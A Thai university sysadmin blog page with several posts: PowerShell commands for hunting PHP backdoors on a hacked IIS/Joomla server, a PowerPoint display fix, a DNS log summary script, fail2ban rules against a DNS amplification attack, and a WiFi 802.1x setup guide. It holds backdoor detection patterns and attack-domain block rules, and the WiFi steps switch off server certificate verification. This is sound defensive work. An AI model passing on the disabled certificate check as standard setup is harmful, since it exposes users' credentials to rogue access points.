    คราวนี้ เป็นการตรวจสอบ ที่เป็น Windows Server 2008 32bit ที่ใช้ IIS6 เป็น Web Server และใช้ PHP 5.2.17  เครื่องของหน่วยงานภายในมหาวิทยาลัย ซึ่ง ถูก Google Webmaster Tools ตรวจพบว่า เครื่องดังกล่าวน่าจะโดน Hack และมีการวาง Backdoor เอาไว้

    เบื้องต้น พบว่า เครื่องนี้ ใช้ Joomla และรายงานของ Google ก็บอกไฟล์ปัญหา เป็น php ใน images/stories จึง เริ่มจากทำตาม วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3 แต่ ต้องเปลี่ยนไปใช้คำสั่งบน PowerShell แทนที่จะเป็น Shell Script อย่างเดิม

    พื้นที่ Document Root อยู่ที่ c:\inetpub\wwwroot

    วิธีการตรวจสอบ

    1. ใช้  powershell ด้วยสิทธิ์ administrator privilege

    2. ค้นหา ไฟล์ *.php ซึ่งอยู่ใน directory “stories” (ใน PowerShell ทำงานแตกต่างจาก Shell Script มากๆ จึงต้องดัดแปลงบางอย่าง)

    gci c:\inetpub\wwwroot -rec -include "*stories*" | where {$_.psiscontainer} | gci -Filter "*.php"

    โดยที่คำสั่งนี้ ใช้ชื่อย่อ และมีความหมายดังนี้

    gci = Get-ChildItem : ทำงานเหมือนคำสั่ง find และใช้ option “-rec” ย่อมาจาก Recurse ซึ่งหมายถึง ค้นหาลงลึกไปใน Subdirectory ด้วย และ เอาเฉพาะใน Directory ย่อย “stories” เท่านั้น

    ส่วนการใช้ ไพพ์ “|” ก็ไม่เหมือนใน Shell Script ที่เป็นการส่ง String หรือข้อความตรงๆ แต่เป็นการส่งต่อ Object

    gci -Filter “*.php” หมายถึง เมื่อค้นหาลึกไปใน Subdirectory “stories” แล้ว ให้กรองเอาเฉพาะไฟล์ แบบ *.php

    ผลที่ได้คือ

    พบว่ามี php file จำนวนมาก ใน images/stories จริงๆ

    ดังภาพ

    3. ตรวจสอบ Log ซึ่งอยู่ที่ c:\inetpub\logs และค้นหาไฟล์ในนั้น ดูว่า มี “BOT.*JCE” บันทึกหรือไม่ ด้วยคำสั่ง

    gci c:\inetpub\logs -rec  | where {$_.psiscontainer} | gci -rec -filter "*.log" | get-content | select-string -pattern "BOT.*JCE"

    ผลที่ได้คือ

    ซึ่งพบว่า มีการโจมตีมาเป็นจำนวนมาก

    4. หา Backdoor อื่นๆ ที่อาจจะเกิดขึ้น หลังจาก Backdoor ใน images/stories เหล่านั้น โดยทดลองดูว่า มีไฟล์ใหม่เกิดขึ้น หลังจากแต่ละ Backdoor นั้นๆ 2 วันหรือไม่ ด้วยคำสั่ง

    $backdoor=gci C:\inetpub\wwwroot\sticorner\images\stories -filter "*.php"
    foreach ($f in $backdoor) {
      $other=gci C:\inetpub\wwwroot\ -rec -filter "*.php" | where-object { $_.LastWriteTime -ge $f.LastWriteTime -and $_.LastWriteTime -le ($f.LastWriteTime).adddays(+2) }  | %{$_.fullname}
     $f.fullname
     $other
    }

    จากการตรวจสอบ พบไฟล์อื่นๆบ้าง แต่ตรวจสอบแล้ว ในระยะเวลา 2 วันหลังจากวางไฟล์ ไม่มีการเขียน Backdoor อื่นๆเพิ่ม

    5. ตรวจสอบหา Backdoor พื้นฐาน ซึ่ง อาจจะใช้ eval แล้วตามด้วย base64_decode ด้วยคำสั่ง

    gci C:\inetpub\wwwroot\ -rec -filter "*.php" | select-string -pattern "eval.*base64" | select-object -unique path >  evalbase64.txt

    โดย เลือกเฉพาะไฟล์ *.php ที่มีคำสั่ง eval ตามด้วย base64_decode มาเก็บไว้ในไฟล์ evalbase64.txt เพื่อใช้ตรวจสอบต่อไป

    พบว่า มีไฟล์จำนวนมาก ที่เป็น Backdoor ดังกล่าว และ Hacker เอาไฟล์มาวางไว้เมื่อ 14/01/2556 แต่ ปลอมวันที่เป็น 15/12/2552 ด้วย ดังภาพ

    และไฟล์ที่พบ มีดังต่อไปนี้

    สำหรับคนที่ดูแล Windows Server ก็ลองใช้เทคนิคข้างต้น ในการค้นหา Backdoor ด้วย PowerShell ด้วย

    ขอให้โชคดีครับ

  • วิธีแก้ปัญหา windows 8.1 กับ Powerpoint 2013 ที่มีความสามารถ Presenter View แล้วภาพสั่น

    วิธีแก้ปัญหา windows 8.1 กับ Powerpoint 2013 ที่มีความสามารถ Presenter View ซึ่งทำให้ผู้บรรยายสามารถ รู้ว่า สไลด์ต่อไปเป็นภาพอะไร และมี Note ต่างๆ แถมยังสามารถ เลือก Slide ที่จะ show เบื้องหลัง ก่อนจะแสดงให้ผู้ชมเห็นทาง Projector ได้ด้วย

    หน้าจอ Presenter View จะเป็นประมาณนี้
    presentation-view

    ปัญหา: เราเอา Notebook ไปต่อกับ Projector แล้วทำเป็นแบบ Duplicate ตอนแสดง Desktop ก็เห็นสวยงามดี ไม่สั่น แต่พอเปิด Powerpoint 2013 แล้ว กด F5 เพื่อ Present ก็พบว่า ภาพบน Projector สั่น หรือได้สัดส่วนไม่พอดี

    เหตุ: Presenter View นั้น จะแอบสลับไปใช้ Secondary Screen Resolution นั่นเอง ถ้า ใครเคยตั้งไว้สูงลิ่ว เช่น 1920×1080 เพราะ ที่โต๊ะมี 2 จอ ให้ใช้ ก็จะทำให้เวลา Present เกิดอาการภาพสั่น

    วิธีแก้ไข: ให้ปรับ Resolution ของ Secondary Screen ให้เป็นแบบเดียวกับ Primary Screen ที่ดีอยู่แล้ว เช่น เป็น 1366×768 เท่ากัน

    solution

    แล้วจะทำให้การ Present ด้วย Powerpoint 2013 แบบ Presenter View ราบรื่น

    หรือถ้าจะให้ง่าย คือใช้เป็นแบบ Primary Screen อย่างเดียว โดย

    1. ไปที่ Presentation
    2. เลือก Primary Screen
    3. Uncheck “Use Presenter View”

    ดังภาพ

    powerpoint-presentation-setting

  • dnsqsum script

    DNS Query Summary Script
    สำหรับ Summary DNS Query Log เพื่อดูว่ามีการ query มาจาก host ใหน และ query domain ใหนบ้าง โดยแสดงเฉพาะ Top 10
    — quick & dirty version —

    #!/bin/bash

    QLOG=”/var/log/named/query.log”

    [ ! -f “$QLOG” ] && echo “Log file ‘$QLOG’ doesn’t exist?” && exit

    DCOL=6

    V=`head -1 $QLOG | cut -f5 -d’ ‘`
    if [ “$V” = “view” ]; then
    DCOL=8
    fi

    echo “===== Source of Query =====”
    cat $QLOG | cut -f4 -d’ ‘ | cut -f1 -d’#’ | sort | uniq -c | sort -rn | head
    echo “=———————-=”

    echo “===== Domain to Query =====”
    cat $QLOG | cut -f$DCOL -d’ ‘ | sort | uniq -c | sort -rn | head
    echo “=———————-=”

  • update fail2ban after DNS query attack

    หลังจากทิ้งไว้นานกว่า 1 ปี ในที่สุดการโจมตีในลักษณะของการ DOS attack สำหรับ DNS Server ก็กลับมาอีกรอบ

    วันนี้ (2013-12-11) คุณ สงกรานต์ก็ post ข้อความในกลุ่ม PSU Sysadmin บน facebook ว่า DNS Server หลายๆเครื่องที่อยู่ภายในเครือข่ายของ PSU มี traffic เกิดขึ้นมากผิดปกติ และมากกว่าตัว DNS Server หลักของมหาวิทยาลัยเอง {ns1,ns2}.psu.ac.th ซึ่งตัว DNS Server ทั้งสองโดยทั่วไปแล้ว เนื่องจากเป็นเซิร์ฟเวอร์ที่ให้บริการเป็นหลักให้กับเครื่องคอมพิวเตอร์ทั้งหมดภายในมหาวิทยาลัย ก็ควรที่จะมี traffic สูงกว่า DNS Server ตัวอื่นๆ แต่เมื่อเครื่อง DNS Server อื่นๆมี traffic สูงกว่า ก็พอที่จะบอกได้คร่าวๆล่ะว่า มีเหตุการณ์ผิดปกติเกิดขึ้นแน่ๆ

    ในจำนวน server เหล่านั้น มีเครื่องเซิร์ฟเวอร์ที่ผมดูแลอยู่ด้วย เป็นเครื่องที่ใช้สำหรับสอน นศ. ในรายวิชา Linux Server Admin. ซึ่งหัวข้อหนึ่งที่นศ.จะต้องเรียน ก็คือการติดตั้งและให้บริการ Name Service ซึ่งเครื่องเซิร์เวอร์เครื่องนี้ นอกจากจะใช้เป็นตัวอย่างในการ setup แล้ว ยังทำหน้าที่เป็น 2nd DNS ให้กับ domain ของ นศ. ทั้งหมดด้วย (นศ. มี domain ของตัวเองคนละ 1 domain)

    logfile ที่เกิดจากการ query มีขนาดมากกว่า 2GB จากการเก็บ log ของการ query ในช่วงเวลาประมาณ 3 วันครึ่ง (เริ่ม 2013-12-08 16:25 จนถึง 2013-12-11 12:40) เมื่อเทียบกับ log ปกติมีขนาดประมาณ 1-2 MB สำหรับการเก็บ log ในช่วง 1 สัปดาห์

    หรือถ้าเทียบในแง่ของจำนวนของการ query ในช่วง 3 วันที่ผ่านมามีการ query ประมาณ 18 ล้านครั้ง เมื่อเทียบกับการ query ปกติประมาณ 15,000 ครั้งต่อสัปดาห์

    การโจมติมาจากใหนบ้าง?

    7778377 95.211.115.114
    3870621 93.170.4.34
    2596494 94.198.114.135
    2581297 95.211.216.168
    331584 199.59.161.6
    53137 216.246.109.162
    47351 205.251.194.32
    46793 205.251.193.79
    41119 156.154.166.38
    39572 156.154.166.37
    39501 54.230.130.116
    36855 205.251.198.179
    34079 42.112.16.162
    31690 134.255.243.100
    28662 205.251.197.226
    27481 212.118.48.20
    23435 204.188.252.146
    20565 82.221.105.131
    20477 89.184.81.131
    19036 95.141.37.197
    17404 72.20.56.200
    14156 206.72.192.13
    11510 82.221.105.139
    10387 5.135.14.245

    ตัวเลขในคอลัมน์แรกคือจำนวนครั้งที่มีการ query และในคอลัมน์ที่สองเป็น ip address

    query อะไรบ้าง? ถ้าดูข้อมูลคร่าวๆก็จะได้

    08-Dec-2013 06:58:54.295 client 192.99.1.168#9118: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
    08-Dec-2013 06:58:54.296 client 192.99.1.168#19072: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)

    08-Dec-2013 06:58:54.297 client 192.99.1.168#31887: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
    08-Dec-2013 06:58:54.297 client 192.99.1.168#41984: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
    08-Dec-2013 06:58:54.297 client 192.99.1.168#58743: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
    08-Dec-2013 06:58:54.297 client 192.99.1.168#31137: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
    08-Dec-2013 06:58:54.300 client 192.99.1.168#28542: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
    08-Dec-2013 06:58:54.300 client 192.99.1.168#2480: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)

    และถ้าแยกตามการ query ก็จะได้

    17489596 adrenalinessss.cc
    543618 ilineage2.ru
    40400 dnsamplificationattacks.cc

    คอลัมน์แรกเป็นจำนวนครั้งของการ query และคอลัมน์ที่สองเป็น domain ที่มีการ query

    จาก config ของ bind9 บนตัว server ที่ setup เอาไว้ทุก query ที่ส่งมาจากภายนอกเครือข่ายของมหาวิทยาลัย มายัง domain ที่อยู่ในรายการข้างบนทั้งหมด จะถูก refused กลับไป

    เอ่อ: _ควรจะ_ refused กลับไป -_-”

    โดยการกำหนด option recursion ให้มีค่าเป็น “no” — config ตัวนี้สำหรับ debian (และ ubuntu?) จะอยู่ในไฟล์ /etc/bind/named.conf.options เพราะถ้า DNS server ไม่ได้ทำหน้าที่เป็น DNS Cache Server ก็ไม่ควรกำหนดให้ค่านี้เป็น yes

    สาเหตุที่มีบรรทัด “เอ่อ: _ควรจะ_ refused กลับไป” ข้างบน เพราะผมเพิ่งพบว่า ค่า config บน server ที่ผมดูแลอยู่มันยัง set ค่าให้เป็น yes อยู่ … เพราะต้องการให้ นศ. ทดสอบการ query จากภายนอกเครือข่าย PSU Net. แล้วลืม set ค่ากลับให้ถูกต้อง

    เพราะฉะนั้นในช่วงหลายวันที่ผ่านมาตัว Server ที่ผมดูแลอยู่ ก็ทำหน้าที่ช่วย DNS Amplification Attack ให้กับ bot ภายนอกอยู่ครับ -_-”

    ประเด็นหนึ่งที่อาจจะเป็นปัญหา สำหรับ DNS Server ภายในเครือข่ายมหาวิทยาลัย สงขลานครินทร์ ที่อาจจะเจอปัญหานี้ก็คือ DNS Server ที่ setup เอาไว้ในหน่วยงาน นอกจากจะใช้เป็น Authorized DNS Server สำหรับ domain ของตัวเองแล้ว DNS ตัวเดียวกันก็ยังทำหน้าที่เป็น DNS Cache Server สำหรับเครื่องคอมพิวเตอร์อื่นๆภายในเครือข่ายของหน่วยงานตนเองด้วย ซึ่งหน้าที่ทั้งสองนี้ควรจะแยกออกจากกัน

    ถ้ายังจำเป็นที่จะต้องใช้ร่วมกัน ก็อาจจะต้องกำหนด view (สำหรับ DNS Server ที่ใช้ bind9) ที่แตกต่างกัน เพื่อให้บริการการ resolve address แบบ DNS Cache Server ให้กับคอมพิวเตอร์ที่อยู่ภายในเครือข่ายของตนเอง และ ไม่ให้บริการการ resolve address อื่นๆ นอกเหนือจาก domain ของหน่วยงานเอง สำหรับเครื่องคอมพิวเตอร์อื่นๆ ที่อยู่นอกเครือข่ายของหน่วยงาน

    ถ้ามีเวลาเดี๋ยวจะกลับมาเขียนเรื่องนี้อีกรอบ แต่ตอนนี้ขอกลับไปเรื่องของ fail2ban ต่อ

    ผมเคยเขียนเรื่องของการ setup fail2ban เพื่อใช้สำหรับการตอบโต้การโจมตีแบบ DOS ซึ่งอยู่ที่นี่ http://sysadmin.psu.ac.th/2012/11/29/using-fail2ban-for-dns-brute-force-attack/

    ซึ่งจะว่าไปก็เป็นวิธีที่ยังมีปัญหาในตัวมันเองอยู่ เพราะการที่จะตอบโต้ได้ เราก็จะต้องรู้ก่อนว่าการโจมตีเป็นแบบใหน หรือในที่นี้ก็คือ domain ที่ query สำหรับการโจมตีคืออะไร

    มีวิธีการที่จะแก้ปัญหานี้โดยใช้ fail2ban ใหม? ผมยังไม่แน่ใจนัก (พอจะมี idea คร่าวๆ แต่ยังไม่ได้เริ่ม implement idea จริงๆ เลยยังไม่รู้ว่าจะใช้ได้จริงใหม)

    แต่ถ้าจะใช้เครื่องมือที่มีอยู่เพื่อแก้ปัญหาในขณะนี้ก่อน นั่นคือ การโจมตีที่เกิดขึ้น มีการ query กับหลายๆ domain ตามนี้

    17489596 adrenalinessss.cc
    543618 ilineage2.ru
    40400 dnsamplificationattacks.cc

    เราจะปรับปรุง config ของ fail2ban ให้รับมือกับจำนวน domain ที่เพ่ิมขึ้นได้อย่างไร?

    ก็โดยการแก้ไข filter โดยเปลี่ยนส่วนของ failregex ให้เป็นแบบนี้ครับ

    failregex = client <HOST>#.+: view theworld: query: ilineage2.ru
    client <HOST>#.+: view theworld: query: apidown.com
    client <HOST>#.+: view theworld: query: adrenalinessss.cc
    client <HOST>#.+: view theworld: query: isc.org
    client <HOST>#.+: view theworld: query: dnsamplificationattacks.cc
    client <HOST>#.+: view theworld: query: fkfkfkfa.com

    ส่วนของ config ไฟล์อื่นๆ และ ส่วนอื่นของ named-query-dos.conf  ก็ยังเหมือนเดิม อ้างอิงตามบันทึกที่แล้วนะครับ

    หลังจากแก้ไขแล้ว เพื่อที่จะ update config ใหม่ สิ่งแรกที่ควรทำ ถ้าหากว่าไฟล์ query.log มีขนาดใหญ่มากก็คือ copy+compress  ไฟล์ query.log เดิมเก็บไว้ก่อน แล้วค่อย restart ตัว fail2ban เพราะว่า ถ้าจะ restart fail2ban เลย ตัว fail2ban จะต้อง process logfile ทั้งหมดใหม่ก่อน ซึ่งจะใช้เวลานานมาก ซึ่งในกรณีของผมไฟล์ขนาด 2GB ทำให้ดูเหมือนกับว่า fail2ban ไม่ยอมทำงานหลังจาก restart แล้ว จนกระทั่งผมตรวจสอบ regex pattern ใหม่จนแน่ใจว่าเขียนถูกต้องแล้ว 2-3 รอบ ถึงจะมาเอะใจเรื่องของขนาดของ logfile ครับ

    วิธีการจัดการกับ query.log file สามารถทำตามขั้นตอนได้ตามนี้ครับ

    $ cd /var/log/named
    $ sudo service bind9 stop; sudo mv query.log query.log.save; sudo service bind9 start
    $ sudo bzip2 query.log.save &
    $ sudo service fail2ban restart

    ซึ่งคาดว่าจะหยุด bot ที่ใช้ในการโจมตีในตอนนี้ได้ชั่วคราว จนกว่าจะมีการ query โดยใช้ domain ใหม่ซึ่งไม่ปรากฏอยู่ใน list เพิ่มขึ้นมา

    ซึ่งตอนนั้น … ค่อยว่ากันอีกที -_-“

  • การเพิ่ม Wireless Profile PSU WiFi (802.1x) บน Windows 8/8.1

    “บทความนี้ไม่ใช่บนความใหม่ แค่เป็นวิธีลงบน Windows 8/8.1 เท่านั้นนะครับ ใครชำนาญแล้วให้ข้ามไปได้เลยครับ”

    ทำตามขั้นตอนดังนี้ครับ

    1. เปิดหน้า Network and Sharing Center เลือก Set up a new connection or network2013-12-10_132923

    2. เลือก Manually connection to a wireless network2013-12-10_133122

    3. ให้ตั้งค่าดังรูป
    2013-12-10_133236
    *ขอแนะนำให้ใส่ชื่อ Network name ตัวเล็กตัวใหญ่แป๊ะ ๆ นะครับ มีวรรค 1 วรรคหน้า ( ด้วยนะครับ

    4. หลังจากนั้นให้เลือก Change connection settings
    2013-12-10_133259
    *ถ้ามันบอกว่ามีอยู่แล้วให้ลบ profile ทิ้ง วิธีลบด้วย command line อ่านบทความได้ที่นี่ครับ
    (http://sysadmin.psu.ac.th/2013/12/10/%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%88%E0%B8%B1%E0%B8%94%E0%B8%81%E0%B8%B2%E0%B8%A3-wireless-profile-%E0%B8%9A%E0%B8%99-windows-88-1-%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99-command-line/)

    5. เลือก Tab Security จากนั้นเลือกหัวข้อ Settings2013-12-10_133352

    6. ให้ ติก Verify the server…. ออก จากนั้นกด OK
    2013-12-10_133440

    7. จากนั้นเลือก Advance Settings ต่อ
    2013-12-10_133527

    8. ให้ติกในส่วนของ Specify authentication mode : และเลือกให้ authen แบบ User authentication ในกรณีที่เป็นเครื่องส่วนตัวสามารถเลือก Save credentials (Save Username Password) จะได้ไม่ต้องกรอกทุกครั้งที่ต่อครับ 
    2013-12-10_133646
    * ในการ Save credentials ในกรณีเปลี่ยนรหัสผ่านต้องมาเปลี่ยนที่นี่ด้วยครับไม่งั้น Windows จะ authen ผิดถี่จนระบบ PSU Passport ทำการ lock account ของท่านครับ (ระบบจะปลด lock อัตโนมัติหลังจากหยุด login จากทุกระบบ 20-30 นาทีโดยประมาณ)

    9. หน้าจอสำหรับ Save credentials
    2013-12-10_133747

    10. เป็นอันเสร็จ ปิดหน้าต่างที่เปิดไว้ให้หมดครับ แล้วลองกลับไปเชื่อมต่อใหม่อีกครั้งก็จะขึ้นหน้าให้ Login ดังรูปครับ ถ้าหน้าตาต่างจากนี้แสดงว่า Set ผิดครับ
    2013-12-10_134049